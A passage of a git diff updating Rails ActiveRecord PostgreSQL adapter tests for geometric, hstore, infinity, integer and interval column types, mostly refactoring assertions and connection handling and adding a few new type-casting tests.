-    assert_not type.binary?
+    assert_not_predicate type, :binary?
   end
 
   def test_update_tsvector
diff --git a/activerecord/test/cases/adapters/postgresql/geometric_test.rb b/activerecord/test/cases/adapters/postgresql/geometric_test.rb
index c1f3a4ae2c768..a1a109e64bdb4 100644
--- a/activerecord/test/cases/adapters/postgresql/geometric_test.rb
+++ b/activerecord/test/cases/adapters/postgresql/geometric_test.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "cases/helper"
 require "support/connection_helper"
 require "support/schema_dumping_helper"
@@ -17,7 +19,7 @@ class PostgresqlPoint < ActiveRecord::Base
   end
 
   def setup
-    @connection = ActiveRecord::Base.connection
+    @connection = ActiveRecord::Base.lease_connection
     @connection.create_table("postgresql_points") do |t|
       t.point :x
       t.point :y, default: [12.2, 13.3]
@@ -37,10 +39,10 @@ def test_column
     column = PostgresqlPoint.columns_hash["x"]
     assert_equal :point, column.type
     assert_equal "point", column.sql_type
-    assert_not column.array?
+    assert_not_predicate column, :array?
 
     type = PostgresqlPoint.type_for_attribute("x")
-    assert_not type.binary?
+    assert_not_predicate type, :binary?
   end
 
   def test_default
@@ -77,7 +79,7 @@ def test_mutation
     p.reload
 
     assert_equal ActiveRecord::Point.new(10.0, 25.0), p.x
-    assert_not p.changed?
+    assert_not_predicate p, :changed?
   end
 
   def test_array_assignment
@@ -86,6 +88,13 @@ def test_array_assignment
     assert_equal ActiveRecord::Point.new(1, 2), p.x
   end
 
+  def test_hash_assignment
+    p = PostgresqlPoint.new(x: { x: 1, y: 2 }, y: { "x" => 3, "y" => 4 })
+
+    assert_equal ActiveRecord::Point.new(1, 2), p.x
+    assert_equal ActiveRecord::Point.new(3, 4), p.y
+  end
+
   def test_string_assignment
     p = PostgresqlPoint.new(x: "(1, 2)")
 
@@ -93,8 +102,6 @@ def test_string_assignment
   end
 
   def test_empty_string_assignment
-    assert_nothing_raised { PostgresqlPoint.new(x: "") }
-
     p = PostgresqlPoint.new(x: "")
     assert_nil p.x
   end
@@ -117,10 +124,10 @@ def test_legacy_column
     column = PostgresqlPoint.columns_hash["legacy_x"]
     assert_equal :point, column.type
     assert_equal "point", column.sql_type
-    assert_not column.array?
+    assert_not_predicate column, :array?
 
     type = PostgresqlPoint.type_for_attribute("legacy_x")
-    assert_not type.binary?
+    assert_not_predicate type, :binary?
   end
 
   def test_legacy_default
@@ -157,7 +164,7 @@ def test_legacy_mutation
     p.reload
 
     assert_equal [10.0, 25.0], p.legacy_x
-    assert_not p.changed?
+    assert_not_predicate p, :changed?
   end
 end
 
@@ -167,7 +174,7 @@ class PostgresqlGeometricTest < ActiveRecord::PostgreSQLTestCase
   class PostgresqlGeometric < ActiveRecord::Base; end
 
   setup do
-    @connection = ActiveRecord::Base.connection
+    @connection = ActiveRecord::Base.lease_connection
     @connection.create_table("postgresql_geometrics") do |t|
       t.lseg    :a_line_segment
       t.box     :a_box
@@ -247,17 +254,17 @@ class PostgreSQLGeometricLineTest < ActiveRecord::PostgreSQLTestCase
   class PostgresqlLine < ActiveRecord::Base; end
 
   setup do
-    unless ActiveRecord::Base.connection.send(:postgresql_version) >= 90400
+    unless ActiveRecord::Base.lease_connection.database_version >= 90400
       skip("line type is not fully implemented")
     end
-    @connection = ActiveRecord::Base.connection
+    @connection = ActiveRecord::Base.lease_connection
     @connection.create_table("postgresql_lines") do |t|
       t.line :a_line
     end
   end
 
   teardown do
-    if defined?(@connection)
+    if @connection
       @connection.drop_table "postgresql_lines", if_exists: true
     end
   end
@@ -293,7 +300,7 @@ class PostgreSQLGeometricTypesTest < ActiveRecord::PostgreSQLTestCase
 
   def setup
     super
-    @connection = ActiveRecord::Base.connection
+    @connection = ActiveRecord::Base.lease_connection
     @table_name = :testings
   end
 
@@ -361,7 +368,6 @@ def test_creating_column_with_circle_type
   end
 
   private
-
     def assert_column_exists(column_name)
       assert connection.column_exists?(table_name, column_name)
     end
diff --git a/activerecord/test/cases/adapters/postgresql/hstore_test.rb b/activerecord/test/cases/adapters/postgresql/hstore_test.rb
index f9cce10fb8f61..1f95766dda405 100644
--- a/activerecord/test/cases/adapters/postgresql/hstore_test.rb
+++ b/activerecord/test/cases/adapters/postgresql/hstore_test.rb
@@ -1,382 +1,380 @@
+# frozen_string_literal: true
+
 require "cases/helper"
 require "support/schema_dumping_helper"
+require "support/stubs/strong_parameters"
 
-if ActiveRecord::Base.connection.supports_extensions?
-  class PostgresqlHstoreTest < ActiveRecord::PostgreSQLTestCase
-    include SchemaDumpingHelper
-    class Hstore < ActiveRecord::Base
-      self.table_name = "hstores"
-
-      store_accessor :settings, :language, :timezone
-    end
-
-    class FakeParameters
-      def to_unsafe_h
-        { "hi" => "hi" }
-      end
-    end
+class PostgresqlHstoreTest < ActiveRecord::PostgreSQLTestCase
+  include SchemaDumpingHelper
+  class Hstore < ActiveRecord::Base
+    self.table_name = "hstores"
 
-    def setup
-      @connection = ActiveRecord::Base.connection
+    store_accessor :settings, :language, :timezone
+  end
 
-      unless @connection.extension_enabled?("hstore")
-        @connection.enable_extension "hstore"
-        @connection.commit_db_transaction
-      end
+  def setup
+    @connection = ActiveRecord::Base.lease_connection
 
-      @connection.reconnect!
+    enable_extension!("hstore", @connection)
 
-      @connection.transaction do
-        @connection.create_table("hstores") do |t|
-          t.hstore "tags", default: ""
-          t.hstore "payload", array: true
-          t.hstore "settings"
-        end
+    @connection.transaction do
+      @connection.create_table("hstores") do |t|
+        t.hstore "tags", default: ""
+        t.hstore "payload", array: true
+        t.hstore "settings"
       end
-      Hstore.reset_column_information
-      @column = Hstore.columns_hash["tags"]
-      @type = Hstore.type_for_attribute("tags")
-    end
-
-    teardown do
-      @connection.drop_table "hstores", if_exists: true
     end
+    Hstore.reset_column_information
+    @column = Hstore.columns_hash["tags"]
+    @type = Hstore.type_for_attribute("tags")
+  end
 
-    def test_hstore_included_in_extensions
-      assert @connection.respond_to?(:extensions), "connection should have a list of extensions"
-      assert_includes @connection.extensions, "hstore", "extension list should include hstore"
-    end
+  teardown do
+    @connection.drop_table "hstores", if_exists: true
+    disable_extension!("hstore", @connection)
+  end
 
-    def test_disable_enable_hstore
-      assert @connection.extension_enabled?("hstore")
-      @connection.disable_extension "hstore"
-      assert_not @connection.extension_enabled?("hstore")
-      @connection.enable_extension "hstore"
-      assert @connection.extension_enabled?("hstore")
-    ensure
-      # Restore column(s) dropped by `drop extension hstore cascade;`
-      load_schema
-    end
+  def test_hstore_included_in_extensions
+    assert_respond_to @connection, :extensions
+    assert_includes @connection.extensions, "hstore", "extension list should include hstore"
+  end
 
-    def test_column
-      assert_equal :hstore, @column.type
-      assert_equal "hstore", @column.sql_type
-      assert_not @column.array?
+  def test_disable_enable_hstore
+    assert @connection.extension_enabled?("hstore")
+    @connection.disable_extension "hstore", force: :cascade
+    assert_not @connection.extension_enabled?("hstore")
+    @connection.enable_extension "hstore"
+    assert @connection.extension_enabled?("hstore")
+  ensure
+    # Restore column(s) dropped by `drop extension hstore cascade;`
+    load_schema
+  end
 
-      assert_not @type.binary?
-    end
+  def test_column
+    assert_equal :hstore, @column.type
+    assert_equal "hstore", @column.sql_type
+    assert_not_predicate @column, :array?
 
-    def test_default
-      @connection.add_column "hstores", "permissions", :hstore, default: '"users"=>"read", "articles"=>"write"'
-      Hstore.reset_column_information
+    assert_not_predicate @type, :binary?
+  end
 
-      assert_equal({ "users" => "read", "articles" => "write" }, Hstore.column_defaults["permissions"])
-      assert_equal({ "users" => "read", "articles" => "write" }, Hstore.new.permissions)
-    ensure
-      Hstore.reset_column_information
-    end
+  def test_default
+    @connection.add_column "hstores", "permissions", :hstore, default: '"users"=>"read", "articles"=>"write"'
+    Hstore.reset_column_information
 
-    def test_change_table_supports_hstore
-      @connection.transaction do
-        @connection.change_table("hstores") do |t|
-          t.hstore "users", default: ""
-        end
-        Hstore.reset_column_information
-        column = Hstore.columns_hash["users"]
-        assert_equal :hstore, column.type
+    assert_equal({ "users" => "read", "articles" => "write" }, Hstore.column_defaults["permissions"])
+    assert_equal({ "users" => "read", "articles" => "write" }, Hstore.new.permissions)
+  ensure
+    Hstore.reset_column_information
+  end
 
-        raise ActiveRecord::Rollback # reset the schema change
+  def test_change_table_supports_hstore
+    @connection.transaction do
+      @connection.change_table("hstores") do |t|
+        t.hstore "users", default: ""
       end
-    ensure
       Hstore.reset_column_information
+      column = Hstore.columns_hash["users"]
+      assert_equal :hstore, column.type
+
+      raise ActiveRecord::Rollback # reset the schema change
     end
+  ensure
+    Hstore.reset_column_information
+  end
 
-    def test_hstore_migration
-      hstore_migration = Class.new(ActiveRecord::Migration::Current) do
-        def change
-          change_table("hstores") do |t|
-            t.hstore :keys
-          end
+  def test_hstore_migration
+    hstore_migration = Class.new(ActiveRecord::Migration::Current) do
+      def change
+        change_table("hstores") do |t|
+          t.hstore :keys
         end
       end
-
-      hstore_migration.new.suppress_messages do
-        hstore_migration.migrate(:up)
-        assert_includes @connection.columns(:hstores).map(&:name), "keys"
-        hstore_migration.migrate(:down)
-        assert_not_includes @connection.columns(:hstores).map(&:name), "keys"
-      end
     end
 
-    def test_cast_value_on_write
-      x = Hstore.new tags: { "bool" => true, "number" => 5 }
-      assert_equal({ "bool" => true, "number" => 5 }, x.tags_before_type_cast)
-      assert_equal({ "bool" => "true", "number" => "5" }, x.tags)
-      x.save
-      assert_equal({ "bool" => "true", "number" => "5" }, x.reload.tags)
+    hstore_migration.new.suppress_messages do
+      hstore_migration.migrate(:up)
+      assert_includes @connection.columns(:hstores).map(&:name), "keys"
+      hstore_migration.migrate(:down)
+      assert_not_includes @connection.columns(:hstores).map(&:name), "keys"
     end
+  end
 
-    def test_type_cast_hstore
-      assert_equal({ "1" => "2" }, @type.deserialize("\"1\"=>\"2\""))
-      assert_equal({}, @type.deserialize(""))
-      assert_equal({ "key" => nil }, @type.deserialize("key => NULL"))
-      assert_equal({ "c" => "}", '"a"' => 'b "a b' }, @type.deserialize(%q(c=>"}", "\"a\""=>"b \"a b")))
-    end
+  def test_cast_value_on_write
+    x = Hstore.new tags: { "bool" => true, "number" => 5 }
+    assert_equal({ "bool" => true, "number" => 5 }, x.tags_before_type_cast)
+    assert_equal({ "bool" => "true", "number" => "5" }, x.tags)
+    x.save
+    assert_equal({ "bool" => "true", "number" => "5" }, x.reload.tags)
+  end
 
-    def test_with_store_accessors
-      x = Hstore.new(language: "fr", timezone: "GMT")
-      assert_equal "fr", x.language
-      assert_equal "GMT", x.timezone
+  def test_type_cast_hstore
+    assert_equal({ "1" => "2" }, @type.deserialize("\"1\"=>\"2\""))
+    assert_equal({}, @type.deserialize(""))
+    assert_cycle("key" => nil)
+    assert_cycle("c" => "}", '"a"' => 'b "a b')
+  end
 
-      x.save!
-      x = Hstore.first
-      assert_equal "fr", x.language
-      assert_equal "GMT", x.timezone
+  def test_with_store_accessors
+    x = Hstore.new(language: "fr", timezone: "GMT")
+    assert_equal "fr", x.language
+    assert_equal "GMT", x.timezone
 
-      x.language = "de"
-      x.save!
+    x.save!
+    x = Hstore.first
+    assert_equal "fr", x.language
+    assert_equal "GMT", x.timezone
 
-      x = Hstore.first
-      assert_equal "de", x.language
-      assert_equal "GMT", x.timezone
-    end
+    x.language = "de"
+    x.save!
 
-    def test_duplication_with_store_accessors
-      x = Hstore.new(language: "fr", timezone: "GMT")
-      assert_equal "fr", x.language
-      assert_equal "GMT", x.timezone
+    x = Hstore.first
+    assert_equal "de", x.language
+    assert_equal "GMT", x.timezone
+  end
 
-      y = x.dup
-      assert_equal "fr", y.language
-      assert_equal "GMT", y.timezone
-    end
+  def test_duplication_with_store_accessors
+    x = Hstore.new(language: "fr", timezone: "GMT")
+    assert_equal "fr", x.language
+    assert_equal "GMT", x.timezone
 
-    def test_yaml_round_trip_with_store_accessors
-      x = Hstore.new(language: "fr", timezone: "GMT")
-      assert_equal "fr", x.language
-      assert_equal "GMT", x.timezone
+    y = x.dup
+    assert_equal "fr", y.language
+    assert_equal "GMT", y.timezone
+  end
 
-      y = YAML.load(YAML.dump(x))
-      assert_equal "fr", y.language
-      assert_equal "GMT", y.timezone
-    end
+  def test_yaml_round_trip_with_store_accessors
+    x = Hstore.new(language: "fr", timezone: "GMT")
+    assert_equal "fr", x.language
+    assert_equal "GMT", x.timezone
 
-    def test_changes_in_place
-      hstore = Hstore.create!(settings: { "one" => "two" })
-      hstore.settings["three"] = "four"
-      hstore.save!
-      hstore.reload
+    payload = YAML.dump(x)
+    y = YAML.respond_to?(:unsafe_load) ? YAML.unsafe_load(payload) : YAML.load(payload)
+    assert_equal "fr", y.language
+    assert_equal "GMT", y.timezone
+  end
 
-      assert_equal "four", hstore.settings["three"]
-      assert_not hstore.changed?
-    end
+  def test_changes_with_store_accessors
+    x = Hstore.new(language: "de")
+    assert_predicate x, :language_changed?
+    assert_nil x.language_was
+    assert_equal [nil, "de"], x.language_change
+    x.save!
 
-    def test_dirty_from_user_equal
-      settings = { "alongkey" => "anything", "key" => "value" }
-      hstore = Hstore.create!(settings: settings)
+    assert_not x.language_changed?
+    x.reload
 
-      hstore.settings = { "key" => "value", "alongkey" => "anything" }
-      assert_equal settings, hstore.settings
-      refute hstore.changed?
-    end
+    x.settings = nil
+    assert_predicate x, :language_changed?
+    assert_equal "de", x.language_was
+    assert_equal ["de", nil], x.language_change
+  end
 
-    def test_hstore_dirty_from_database_equal
-      settings = { "alongkey" => "anything", "key" => "value" }
-      hstore = Hstore.create!(settings: settings)
-      hstore.reload
+  def test_changes_in_place
+    hstore = Hstore.create!(settings: { "one" => "two" })
+    hstore.settings["three"] = "four"
+    hstore.save!
+    hstore.reload
 
-      assert_equal settings, hstore.settings
-      hstore.settings = settings
-      refute hstore.changed?
-    end
+    assert_equal "four", hstore.settings["three"]
+    assert_not_predicate hstore, :changed?
+  end
 
-    def test_gen1
-      assert_equal('" "=>""', @type.serialize(" " => ""))
-    end
+  def test_dirty_from_user_equal
+    settings = { "alongkey" => "anything", "key" => "value" }
+    hstore = Hstore.create!(settings: settings)
 
-    def test_gen2
-      assert_equal('","=>""', @type.serialize("," => ""))
-    end
+    hstore.settings = { "key" => "value", "alongkey" => "anything" }
+    assert_equal settings, hstore.settings
+    assert_not_predicate hstore, :changed?
+  end
 
-    def test_gen3
-      assert_equal('"="=>""', @type.serialize("=" => ""))
-    end
+  def test_hstore_dirty_from_database_equal
+    settings = { "alongkey" => "anything", "key" => "value" }
+    hstore = Hstore.create!(settings: settings)
+    hstore.reload
 
-    def test_gen4
-      assert_equal('">"=>""', @type.serialize(">" => ""))
-    end
+    assert_equal settings, hstore.settings
+    hstore.settings = settings
+    assert_not_predicate hstore, :changed?
+  end
 
-    def test_parse1
-      assert_equal({ "a" => nil, "b" => nil, "c" => "NuLl", "null" => "c" }, @type.deserialize('a=>null,b=>NuLl,c=>"NuLl",null=>c'))
-    end
+  def test_spaces
+    assert_cycle(" " => " ")
+  end
 
-    def test_parse2
-      assert_equal({ " " => " " },  @type.deserialize("\\ =>\\ "))
-    end
+  def test_commas
+    assert_cycle("," => "")
+  end
 
-    def test_parse3
-      assert_equal({ "=" => ">" },  @type.deserialize("==>>"))
-    end
+  def test_signs
+    assert_cycle("=" => ">")
+  end
 
-    def test_parse4
-      assert_equal({ "=a" => "q=w" },   @type.deserialize('\=a=>q=w'))
-    end
+  def test_various_null
+    assert_cycle({ "a" => nil, "b" => nil, "c" => "NuLl", "null" => "c" })
+  end
 
-    def test_parse5
-      assert_equal({ "=a" => "q=w" },   @type.deserialize('"=a"=>q\=w'))
-    end
+  def test_equal_signs
+    assert_cycle("=a" => "q=w")
+  end
 
-    def test_parse6
-      assert_equal({ "\"a" => "q>w" },  @type.deserialize('"\"a"=>q>w'))
-    end
+  def test_parse5
+    assert_cycle("=a" => "q=w")
+  end
 
-    def test_parse7
-      assert_equal({ "\"a" => "q\"w" }, @type.deserialize('\"a=>q"w'))
-    end
+  def test_parse6
+    assert_cycle("\"a" => "q>w")
+  end
 
-    def test_rewrite
-      @connection.execute "insert into hstores (tags) VALUES ('1=>2')"
-      x = Hstore.first
-      x.tags = { '"a\'' => "b" }
-      assert x.save!
-    end
+  def test_parse7
+    assert_cycle("\"a" => "q\"w")
+  end
 
-    def test_select
-      @connection.execute "insert into hstores (tags) VALUES ('1=>2')"
-      x = Hstore.first
-      assert_equal({ "1" => "2" }, x.tags)
-    end
+  def test_rewrite
+    @connection.execute "insert into hstores (tags) VALUES ('1=>2')"
+    x = Hstore.first
+    x.tags = { '"a\'' => "b" }
+    assert x.save!
+  end
 
-    def test_array_cycle
-      assert_array_cycle([{ "AA" => "BB", "CC" => "DD" }, { "AA" => nil }])
-    end
+  def test_select
+    @connection.execute "insert into hstores (tags) VALUES ('1=>2')"
+    x = Hstore.first
+    assert_equal({ "1" => "2" }, x.tags)
+  end
 
-    def test_array_strings_with_quotes
-      assert_array_cycle([{ "this has" => 'some "s that need to be escaped"' }])
-    end
+  def test_array_cycle
+    assert_array_cycle([{ "AA" => "BB", "CC" => "DD" }, { "AA" => nil }])
+  end
 
-    def test_array_strings_with_commas
-      assert_array_cycle([{ "this,has" => "many,values" }])
-    end
+  def test_array_strings_with_quotes
+    assert_array_cycle([{ "this has" => 'some "s that need to be escaped"' }])
+  end
 
-    def test_array_strings_with_array_delimiters
-      assert_array_cycle(["{" => "}"])
-    end
+  def test_array_strings_with_commas
+    assert_array_cycle([{ "this,has" => "many,values" }])
+  end
 
-    def test_array_strings_with_null_strings
-      assert_array_cycle([{ "NULL" => "NULL" }])
-    end
+  def test_array_strings_with_array_delimiters
+    assert_array_cycle(["{" => "}"])
+  end
 
-    def test_contains_nils
-      assert_array_cycle([{ "NULL" => nil }])
-    end
+  def test_array_strings_with_null_strings
+    assert_array_cycle([{ "NULL" => "NULL" }])
+  end
 
-    def test_select_multikey
-      @connection.execute "insert into hstores (tags) VALUES ('1=>2,2=>3')"
-      x = Hstore.first
-      assert_equal({ "1" => "2", "2" => "3" }, x.tags)
-    end
+  def test_contains_nils
+    assert_array_cycle([{ "NULL" => nil }])
+  end
 
-    def test_create
-      assert_cycle("a" => "b", "1" => "2")
-    end
+  def test_select_multikey
+    @connection.execute "insert into hstores (tags) VALUES ('1=>2,2=>3')"
+    x = Hstore.first
+    assert_equal({ "1" => "2", "2" => "3" }, x.tags)
+  end
 
-    def test_nil
-      assert_cycle("a" => nil)
-    end
+  def test_create
+    assert_cycle("a" => "b", "1" => "2")
+  end
 
-    def test_quotes
-      assert_cycle("a" => 'b"ar', '1"foo' => "2")
-    end
+  def test_nil
+    assert_cycle("a" => nil)
+  end
 
-    def test_whitespace
-      assert_cycle("a b" => "b ar", '1"foo' => "2")
-    end
+  def test_quotes
+    assert_cycle("a" => 'b"ar', '1"foo' => "2")
+  end
 
-    def test_backslash
-      assert_cycle('a\\b' => 'b\\ar', '1"foo' => "2")
-    end
+  def test_whitespace
+    assert_cycle("a b" => "b ar", '1"foo' => "2")
+  end
 
-    def test_comma
-      assert_cycle("a, b" => "bar", '1"foo' => "2")
-    end
+  def test_backslash
+    assert_cycle('a\\b' => 'b\\ar', '1"foo' => "2")
+    assert_cycle('a\\"' => 'b\\ar', '1"foo' => "2")
+    assert_cycle("a\\" => "bar\\", '1"foo' => "2")
+  end
 
-    def test_arrow
-      assert_cycle("a=>b" => "bar", '1"foo' => "2")
-    end
+  def test_comma
+    assert_cycle("a, b" => "bar", '1"foo' => "2")
+  end
 
-    def test_quoting_special_characters
-      assert_cycle("ca" => "cà", "ac" => "àc")
-    end
+  def test_arrow
+    assert_cycle("a=>b" => "bar", '1"foo' => "2")
+  end
 
-    def test_multiline
-      assert_cycle("a\nb" => "c\nd")
-    end
+  def test_quoting_special_characters
+    assert_cycle("ca" => "cà", "ac" => "àc")
+  end
 
-    class TagCollection
-      def initialize(hash); @hash = hash end
-      def to_hash; @hash end
-      def self.load(hash); new(hash) end
-      def self.dump(object); object.to_hash end
-    end
+  def test_multiline
+    assert_cycle("a\nb" => "c\nd")
+  end
 
-    class HstoreWithSerialize < Hstore
-      serialize :tags, TagCollection
-    end
+  class TagCollection
+    def initialize(hash); @hash = hash end
+    def to_hash; @hash end
+    def self.load(hash); new(hash) end
+    def self.dump(object); object.to_hash end
+  end
 
-    def test_hstore_with_serialized_attributes
-      HstoreWithSerialize.create! tags: TagCollection.new("one" => "two")
-      record = HstoreWithSerialize.first
-      assert_instance_of TagCollection, record.tags
-      assert_equal({ "one" => "two" }, record.tags.to_hash)
-      record.tags = TagCollection.new("three" => "four")
-      record.save!
-      assert_equal({ "three" => "four" }, HstoreWithSerialize.first.tags.to_hash)
-    end
+  class HstoreWithSerialize < Hstore
+    serialize :tags, coder: TagCollection
+  end
 
-    def test_clone_hstore_with_serialized_attributes
-      HstoreWithSerialize.create! tags: TagCollection.new("one" => "two")
-      record = HstoreWithSerialize.first
-      dupe = record.dup
-      assert_equal({ "one" => "two" }, dupe.tags.to_hash)
-    end
+  def test_hstore_with_serialized_attributes
+    HstoreWithSerialize.create! tags: TagCollection.new("one" => "two")
+    record = HstoreWithSerialize.first
+    assert_instance_of TagCollection, record.tags
+    assert_equal({ "one" => "two" }, record.tags.to_hash)
+    record.tags = TagCollection.new("three" => "four")
+    record.save!
+    assert_equal({ "three" => "four" }, HstoreWithSerialize.first.tags.to_hash)
+  end
 
-    def test_schema_dump_with_shorthand
-      output = dump_table_schema("hstores")
-      assert_match %r[t\.hstore "tags",\s+default: {}], output
-    end
+  def test_clone_hstore_with_serialized_attributes
+    HstoreWithSerialize.create! tags: TagCollection.new("one" => "two")
+    record = HstoreWithSerialize.first
+    dupe = record.dup
+    assert_equal({ "one" => "two" }, dupe.tags.to_hash)
+  end
+
+  def test_schema_dump_with_shorthand
+    output = dump_table_schema("hstores")
+    assert_match %r[t\.hstore "tags",\s+default: {}], output
+  end
+
+  def test_supports_to_unsafe_h_values
+    assert_equal "\"hi\"=>\"hi\"", @type.serialize(ProtectedParams.new("hi" => "hi"))
+  end
 
-    def test_supports_to_unsafe_h_values
-      assert_equal("\"hi\"=>\"hi\"", @type.serialize(FakeParameters.new))
+  private
+    def assert_array_cycle(array)
+      # test creation
+      x = Hstore.create!(payload: array)
+      x.reload
+      assert_equal(array, x.payload)
+
+      # test updating
+      x = Hstore.create!(payload: [])
+      x.payload = array
+      x.save!
+      x.reload
+      assert_equal(array, x.payload)
     end
 
-    private
-      def assert_array_cycle(array)
-        # test creation
-        x = Hstore.create!(payload: array)
-        x.reload
-        assert_equal(array, x.payload)
-
-        # test updating
-        x = Hstore.create!(payload: [])
-        x.payload = array
-        x.save!
-        x.reload
-        assert_equal(array, x.payload)
-      end
+    def assert_cycle(hash)
+      # test creation
+      x = Hstore.create!(tags: hash)
+      x.reload
+      assert_equal(hash, x.tags)
 
-      def assert_cycle(hash)
-        # test creation
-        x = Hstore.create!(tags: hash)
-        x.reload
-        assert_equal(hash, x.tags)
-
-        # test updating
-        x = Hstore.create!(tags: {})
-        x.tags = hash
-        x.save!
-        x.reload
-        assert_equal(hash, x.tags)
-      end
-  end
+      # test updating
+      x = Hstore.create!(tags: {})
+      x.tags = hash
+      x.save!
+      x.reload
+      assert_equal(hash, x.tags)
+    end
 end
diff --git a/activerecord/test/cases/adapters/postgresql/infinity_test.rb b/activerecord/test/cases/adapters/postgresql/infinity_test.rb
index b9e177e6ec876..5ec3d76ee13ac 100644
--- a/activerecord/test/cases/adapters/postgresql/infinity_test.rb
+++ b/activerecord/test/cases/adapters/postgresql/infinity_test.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "cases/helper"
 
 class PostgresqlInfinityTest < ActiveRecord::PostgreSQLTestCase
@@ -7,10 +9,11 @@ class PostgresqlInfinity < ActiveRecord::Base
   end
 
   setup do
-    @connection = ActiveRecord::Base.connection
+    @connection = ActiveRecord::Base.lease_connection
     @connection.create_table(:postgresql_infinities) do |t|
       t.float :float
       t.datetime :datetime
+      t.date :date
     end
   end
 
@@ -30,7 +33,7 @@ class PostgresqlInfinity < ActiveRecord::Base
     record = PostgresqlInfinity.new(float: "-Infinity")
     assert_equal(-Float::INFINITY, record.float)
     record = PostgresqlInfinity.new(float: "NaN")
-    assert record.float.nan?, "Expected #{record.float} to be NaN"
+    assert_predicate record.float, :nan?, "Expected #{record.float} to be NaN"
   end
 
   test "update_all with infinity on a float column" do
@@ -41,11 +44,25 @@ class PostgresqlInfinity < ActiveRecord::Base
   end
 
   test "type casting infinity on a datetime column" do
+    record = PostgresqlInfinity.create!(datetime: "infinity")
+    record.reload
+    assert_equal Float::INFINITY, record.datetime
+
     record = PostgresqlInfinity.create!(datetime: Float::INFINITY)
     record.reload
     assert_equal Float::INFINITY, record.datetime
   end
 
+  test "type casting infinity on a date column" do
+    record = PostgresqlInfinity.create!(date: "infinity")
+    record.reload
+    assert_equal Float::INFINITY, record.date
+
+    record = PostgresqlInfinity.create!(date: Float::INFINITY)
+    record.reload
+    assert_equal Float::INFINITY, record.date
+  end
+
   test "update_all with infinity on a datetime column" do
     record = PostgresqlInfinity.create!
     PostgresqlInfinity.update_all(datetime: Float::INFINITY)
@@ -54,16 +71,49 @@ class PostgresqlInfinity < ActiveRecord::Base
   end
 
   test "assigning 'infinity' on a datetime column with TZ aware attributes" do
-    begin
-      in_time_zone "Pacific Time (US & Canada)" do
-        record = PostgresqlInfinity.create!(datetime: "infinity")
-        assert_equal Float::INFINITY, record.datetime
-        assert_equal record.datetime, record.reload.datetime
-      end
-    ensure
-      # setting time_zone_aware_attributes causes the types to change.
-      # There is no way to do this automatically since it can be set on a superclass
+    in_time_zone "Pacific Time (US & Canada)" do
+      # reset_column_information should be called to recreate types with TimeZoneConverter
       PostgresqlInfinity.reset_column_information
+
+      record = PostgresqlInfinity.create!(datetime: "infinity")
+      assert_equal Float::INFINITY, record.datetime
+      assert_equal record.datetime, record.reload.datetime
+
+      record = PostgresqlInfinity.create!(datetime: Float::INFINITY)
+      assert_equal Float::INFINITY, record.datetime
+      assert_equal record.datetime, record.reload.datetime
+
+      record = PostgresqlInfinity.create!(datetime: BigDecimal::INFINITY)
+      assert_equal Float::INFINITY, record.datetime
+      assert_equal record.datetime, record.reload.datetime
     end
+  ensure
+    # setting time_zone_aware_attributes causes the types to change.
+    # There is no way to do this automatically since it can be set on a superclass
+    PostgresqlInfinity.reset_column_information
+  end
+
+  test "where clause with infinite range on a datetime column" do
+    record = PostgresqlInfinity.create!(datetime: Time.current)
+
+    string = PostgresqlInfinity.where(datetime: "-infinity".."infinity")
+    assert_equal record, string.take
+
+    infinity = PostgresqlInfinity.where(datetime: -::Float::INFINITY..::Float::INFINITY)
+    assert_equal record, infinity.take
+
+    assert_equal infinity.to_sql, string.to_sql
+  end
+
+  test "where clause with infinite range on a date column" do
+    record = PostgresqlInfinity.create!(date: Date.current)
+
+    string = PostgresqlInfinity.where(date: "-infinity".."infinity")
+    assert_equal record, string.take
+
+    infinity = PostgresqlInfinity.where(date: -::Float::INFINITY..::Float::INFINITY)
+    assert_equal record, infinity.take
+
+    assert_equal infinity.to_sql, string.to_sql
   end
 end
diff --git a/activerecord/test/cases/adapters/postgresql/integer_test.rb b/activerecord/test/cases/adapters/postgresql/integer_test.rb
index b4e55964b9cf3..ba1ab2fec9b46 100644
--- a/activerecord/test/cases/adapters/postgresql/integer_test.rb
+++ b/activerecord/test/cases/adapters/postgresql/integer_test.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "cases/helper"
 require "active_support/core_ext/numeric/bytes"
 
@@ -6,7 +8,7 @@ class PgInteger < ActiveRecord::Base
   end
 
   def setup
-    @connection = ActiveRecord::Base.connection
+    @connection = ActiveRecord::Base.lease_connection
 
     @connection.transaction do
       @connection.create_table "pg_integers", force: true do |t|
diff --git a/activerecord/test/cases/adapters/postgresql/interval_test.rb b/activerecord/test/cases/adapters/postgresql/interval_test.rb
new file mode 100644
index 0000000000000..3cb9fadb836d9
--- /dev/null
+++ b/activerecord/test/cases/adapters/postgresql/interval_test.rb
@@ -0,0 +1,91 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+require "support/schema_dumping_helper"
+
+class PostgresqlIntervalTest < ActiveRecord::PostgreSQLTestCase
+  include SchemaDumpingHelper
+
+  class IntervalDataType < ActiveRecord::Base
+    attribute :legacy_term, :string
+  end
+
+  def setup
+    @connection = ActiveRecord::Base.lease_connection
+    @connection.transaction do
+      @connection.create_table("interval_data_types") do |t|
+        t.interval "maximum_term"
+        t.interval "minimum_term", precision: 3
+        t.interval "default_term", default: "P3Y"
+        t.interval "all_terms", array: true
+        t.interval "legacy_term"
+      end
+    end
+    @column_max = IntervalDataType.columns_hash["maximum_term"]
+    @column_min = IntervalDataType.columns_hash["minimum_term"]
+    assert(@column_max.is_a?(ActiveRecord::ConnectionAdapters::PostgreSQLColumn))
+    assert(@column_min.is_a?(ActiveRecord::ConnectionAdapters::PostgreSQLColumn))
+    assert_nil @column_max.precision
+    assert_equal 3, @column_min.precision
+  end
+
+  teardown do
+    @connection.execute "DROP TABLE IF EXISTS interval_data_types"
+  end
+
+  def test_column
+    assert_equal :interval,     @column_max.type
+    assert_equal :interval,     @column_min.type
+    assert_equal "interval",    @column_max.sql_type
+    assert_equal "interval(3)", @column_min.sql_type
+  end
+
+  def test_interval_type
+    IntervalDataType.create!(
+      maximum_term: 6.year + 5.month + 4.days + 3.hours + 2.minutes + 1.seconds,
+      minimum_term: 1.year + 2.month + 3.days + 4.hours + 5.minutes + (6.234567).seconds,
+      all_terms:    [1.month, 1.year, 1.hour],
+      legacy_term:  "33 years",
+    )
+    i = IntervalDataType.last!
+    assert_equal "P6Y5M4DT3H2M1S",     i.maximum_term.iso8601
+    assert_equal "P1Y2M3DT4H5M6.235S", i.minimum_term.iso8601
